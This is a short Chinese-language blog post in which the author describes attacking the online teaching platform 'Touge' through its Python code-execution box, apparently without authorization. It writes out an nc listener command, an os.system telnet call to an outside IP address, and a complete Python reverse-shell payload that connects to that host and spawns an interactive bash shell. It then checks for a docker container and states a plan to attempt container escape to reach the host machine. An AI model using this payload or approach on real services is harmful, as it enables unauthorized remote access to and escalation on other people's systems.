最近被计算机组成原理的实验整得头疼,正好最近又在复习 Get Shell 的相关知识,于是萌生了拿实验平台“头歌”练练手的想法。

测试代码安全性检测

打开“头歌”实验平台,可以看到在实验窗口存在一个代码执行框,根据课程的不同可以执行不同语言的代码。这里选择了一个可以执行 Python 代码的课程,测试平台是否对代码进行安全性检测。

服务器使用 nc 工具开启监听模式,使用 net-cat 工具监听在 2333 端口:

nc -lvvp 2333

在实验平台使用 telnet 命令尝试连接服务器:

import os
os.system("telnet 1.13.195.56 2333")

从输出结果可以看到成功连接到了服务器,服务器端的输出也证实了平台对执行的代码并没有做安全性校验:

写入 Payload ,反弹 Shell

在实验平台写入以下代码,运行后建立 socket 连接,在服务器端即可获取 shell:

import os, socket, subprocess

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("1.13.195.56", 2333))

os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)

p = subprocess.call(["/bin/bash", "-i"])

验证是否在 docker 容器中

查看 /.dockerenv 文件是否存在:

查看 /proc/1/cgroup 文件:

发现处于 docker 容器中,后续还需尝试 docker 逃逸,以便获取宿主机权限。